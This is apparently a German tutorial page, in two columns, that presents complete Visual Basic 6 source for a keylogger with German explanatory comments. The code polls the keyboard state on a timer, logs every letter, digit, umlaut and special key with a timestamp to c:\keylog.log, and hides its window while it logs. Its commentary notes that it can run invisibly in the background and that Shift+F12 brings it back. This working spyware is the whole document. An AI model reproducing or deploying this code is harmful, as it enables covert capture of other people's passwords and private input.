| GetAsyncKeyState, GetKeyState | |
| |
| |
| Private Declare Function GetAsyncKeyState Lib "user32" (ByVal _ | | Diese Funktion kann aus einem Formular aufgerufen |
| vKey As Long) As Integer | werden, das unsichtbar im Hintergrund läuft. |
| Private Declare Function GetKeyState Lib "user32" (ByVal _ | |
| nVirtKey As Long) As Integer | Mit der Tastenkombination Shift und F12 wird die |
| Private Declare Function FormatMessage Lib "kernel32" Alias _ | Anwendung wieder angezeigt bzw. der Keylogger |
| "FormatMessageA" (ByVal dwFlags As Long, lpSource As _ | gestoppt. |
| Any, ByVal dwMessageId As Long, ByVal dwLanguageId As _ | |
| Long, ByVal lpBuffer As String, ByVal nSize As Long, _ | Die Logdatei wird unabhängig davon während des |
| Arguments As Long) As Long | Laufs der Anwendung geführt. |
| Private Declare Function ShellExecute Lib "shell32" Alias _ | |
| "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation _ | Die weiter unten angegebenen Tastaturcodes sind |
| As String, ByVal lpFile As String, ByVal lpParameters _ | abhängig vom Betriebssystem bzw. von den länder- |
| As String, ByVal lpDirectory As String, ByVal nShowCmd _ | spezifischen Einstellungen. |
| As Long) As Long | |
| |
| Public Const KeyLog = "c:\keylog.log" | Speicher-Ort der Log-Datei. |
| Const SW_SHOWNORMAL = 1 | |
| Const VK_CAPITAL = &H14 | |
| Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000 | |
| |
| Public Sub StartLogging() | |
| frmForm.tmrGetKeyState.Enabled = True | Zwei Timer sorgen für Ein- und Ausschalten des |
| frmForm.tmrStartDelay.Enabled = True | Keyloggers. |
| End Sub | |
| |
| Public Sub CancelLogging() | |
| frmForm.tmrGetKeyState.Enabled = False | |
| End Sub | |
| |
| Sub AddText(strText As String) | |
| Const ForAppending = 8 | |
| Const Create = True | |
| Dim FSO, TS | |
| |
| On Error GoTo ende | |
| Set FSO = CreateObject("Scripting.FileSystemObject") | |
| Set TS = FSO.OpenTextFile(KeyLog, ForAppending, Create) | |
| |
| strText = vbCrLf & Date$ & " " & Time$ & ": " & strText | String zusammenbauen (Datum, Zeit, Zeichen). |
| TS.Write strText | Logfile schreiben. |
| |
| ende: | |
| Set TS = Nothing | |
| Set FSO = Nothing | |
| End Sub | |
| |
| Public Function Keylogging() | |
| Dim lngKeyState As Long, lngShift As Long | |
| Dim i As Integer | |
| |
| lngShift = GetAsyncKeyState(vbKeyShift) | |
| |
| For i = 65 To 90 | Tasten A-Z (vbKeyA bis vbKeyZ). |
| lngKeyState = GetAsyncKeyState(i) | |
| | |
| If (CapsLockOn = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _ | Grossbuchstaben. |
| (CapsLockOn = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then | |
| Call AddText(UCase(Chr(i))) | |
| End If | |
| | |
| If (CapsLockOn = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _ | Kleinbuchstaben. |
| (CapsLockOn = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then | |
| Call AddText(LCase(Chr(i))) | |
| End If | |
| Next i | |
| |
| lngKeyState = GetAsyncKeyState(vbKey1) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("1") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("!") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey2) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("2") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("""") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey3) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("3") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("§") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey4) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("4") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("$") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey5) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("5") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("%") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey6) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("6") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("&") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey7) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("7") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("/") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey8) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("8") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("(") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey9) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("9") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(")") | |
| |
| lngKeyState = GetAsyncKeyState(vbKey0) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("0") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("=") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyBack) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{BackSpace}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyTab) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Tab}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyReturn) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Return}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyShift) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Shift}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyControl) | |
| If (lngKeyState And &H1) = &H1 Then | |
| If (GetAsyncKeyState(vbKeyMenu) And &H1) = &H1 Then | |
| Call AddText("{AltGr}") | |
| Else | |
| Call AddText("{Ctrl}") | |
| End If | |
| End If | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyMenu) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Alt}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyPause) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Pause}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyEscape) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Esc}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeySpace) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{KeySpace}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyEnd) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{End}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyHome) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Home}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyLeft) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Left}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyRight) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Right}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyUp) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Up}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyDown) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Down}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyInsert) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Insert}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyDelete) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Delete}") | |
| |
| lngKeyState = GetAsyncKeyState(&HBA) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ü") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ü") | |
| |
| lngKeyState = GetAsyncKeyState(&HBB) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("+") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("*") | |
| |
| lngKeyState = GetAsyncKeyState(&HBC) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(",") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(";") | |
| |
| lngKeyState = GetAsyncKeyState(&HBD) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("-") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("_") | |
| |
| lngKeyState = GetAsyncKeyState(&HBE) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(".") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(":") | |
| |
| lngKeyState = GetAsyncKeyState(&HBF) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("#") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("'") | |
| |
| lngKeyState = GetAsyncKeyState(&HC0) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ö") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ö") | |
| |
| lngKeyState = GetAsyncKeyState(&HDB) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ß") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("?") | |
| |
| lngKeyState = GetAsyncKeyState(&HDC) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("^") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("°") | |
| |
| lngKeyState = GetAsyncKeyState(&HDD) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("´") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("`") | |
| |
| lngKeyState = GetAsyncKeyState(&HDE) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ä") | |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ä") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyMultiply) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("*") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyDivide) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("/") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyAdd) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("+") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeySubtract) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("-") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyDecimal) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{Del}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF1) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F1}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF2) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F2}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF3) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F3}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF4) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F4}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF5) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F5}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF6) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F6}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF7) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F7}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF8) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F8}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF9) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F9}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF10) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F10}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF11) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{F11}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyF12) | |
| If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("{F12}") | |
| |
| If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then | Bei Shift-F12: Anwendung anzeigen. |
| frmForm.Visible = True | |
| End If | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumlock) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{NumLock}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyScrollLock) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{ScrollLock}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeySnapshot) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{PrintScreen}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyPageUp) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{PageUp}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyPageDown) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("{PageDown}") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad1) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("1") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad2) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("2") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad3) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("3") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad4) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("4") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad5) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("5") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad6) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("6") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad7) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("7") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad8) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("8") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad9) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("9") | |
| |
| lngKeyState = GetAsyncKeyState(vbKeyNumpad0) | |
| If (lngKeyState And &H1) = &H1 Then Call AddText("0") | |
| |
| End Function | |
| |
| Function CapsLockOn() As Boolean | |
| Static blnInit As Boolean, blnOn As Boolean | |
| |
| If Not blnInit Then | |
| While GetAsyncKeyState(VK_CAPITAL) | |
| Wend | |
| blnOn = GetKeyState(VK_CAPITAL) | |
| blnInit = True | |
| Else | |
| If GetAsyncKeyState(VK_CAPITAL) Then | |
| While GetAsyncKeyState(VK_CAPITAL) | |
| DoEvents | |
| Wend | |
| blnOn = Not blnOn | |
| End If | |
| End If | |
| |
| CapsLockOn = blnOn | |
| End Function | |
| | |
| |
| Sub cmdKeyLog_Click() | Im Formular ist ein Button zum Starten des Keyloggers. |
| Static blnHooked As Boolean | |
| |
| If Dir$(KeyLog) = "" Then | Wird keine Log-Datei gefunden, wird eine Datei erzeugt. |
| Dim FSO, tf | |
| Set FSO = CreateObject("Scripting.FileSystemObject") | |
| Set tf = FSO.CreateTextFile(KeyLog, True) | |
| tf.WriteLine (KeyLog) | |
| tf.WriteBlankLines (1) | |
| tf.Close | |
| Set FSO = Nothing | |
| Set tf = Nothing | |
| End If | |
| |
| If blnHooked Then | |
| Call CancelLogging | Logging beenden. |
| Else | |
| Call StartLogging | Logging starten. |
| Me.Visible = False | Anwendung unsichtbar. |
| End If | |
| |
| blnHooked = Not blnHooked | |
| End Sub | |
| |
| Sub tmrGetKeyState_Timer() | Timer zum Starten des Keyloggers. |
| Call Keylogging | Die Timer sind auf Interval 100 eingestellt, damit auch |
| End Sub | schnelle Tastatureingaben mitgeschnitten werden. |
| Bei höheren Werten könnte sich das System verschlucken. |
| Sub tmrStartDelay_Timer() | |
| tmrStartDelay.Enabled = False | |
| End Sub | |
| |